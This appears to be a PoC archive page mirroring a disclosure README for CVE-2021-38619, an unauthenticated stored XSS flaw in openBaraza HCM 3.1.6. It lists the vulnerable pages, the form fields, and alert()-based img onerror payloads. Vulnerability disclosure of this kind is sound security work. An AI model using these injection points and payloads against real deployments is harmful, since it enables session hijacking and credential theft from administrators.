Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1325 CNY

100%

CVE-2021-38619 PoC — openBaraza HCM 跨站脚本漏洞

Source
Associated Vulnerability
Title:openBaraza HCM 跨站脚本漏洞 (CVE-2021-38619)
Description:openBaraza HCM 3.1.6 does not properly neutralize user-controllable input: an unauthenticated remote attacker can conduct a stored cross-site scripting (XSS) attack against an administrative user from hr/subscription.jsp and hr/application.jsp and and hr/index.jsp (with view=).
Readme
# CVE-2021-38619 openBaraza HCM HR Payroll v.3.1.6 Unauthenticated Stored XSS Vulnerability

openBaraza HCM v.3.1.6 does not properly neutralize user-controllable input, this could allow an unauthenticated remote attacker to conduct a stored cross-site scripting (XSS) attack against an administrative user from multiple pages. If an attacker injects arbitray javascript payload into vulnerable pages and valid users attempt to visit affected pages the payload will be executed. This could result in stealing credentials, session hijacking, or delivering malware to the victim.


Discoverer credits: Charles Bickel & Gideon Gray

---
Vulnerable page:
http://serverip:9090/hr/application.jsp

Vulnerable textboxes:
first_name, surname, email

Payloads:
* <img src='x'onerror="alert('First');" />
* <img src='x'onerror="alert('Surname');" />
* a@a.com<img src='x'onerror="alert('email');" />

Affected page:
http://serverip:9090/hr/index.jsp?view=23:0


![application.jsp](https://raw.githubusercontent.com/charlesbickel/CVE/main/2021-08-12_23-27-23.gif)


---
Vulnerable page:
http://serverip:9090/hr/subscription.jsp

Vulnerable textboxes:
business_name, primary_contact, primary_email, confirm_email

Payloads:
* <img src='x'onerror="alert('business');" />
* <img src='x'onerror="alert('contact');" />
* <img src='x'onerror="alert('email');" />

Affected page:
http://serverip:9090/hr/index.jsp?view=94:0

![subscription.jsp](https://raw.githubusercontent.com/charlesbickel/CVE/main/2021-08-12_23-21-34.gif)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →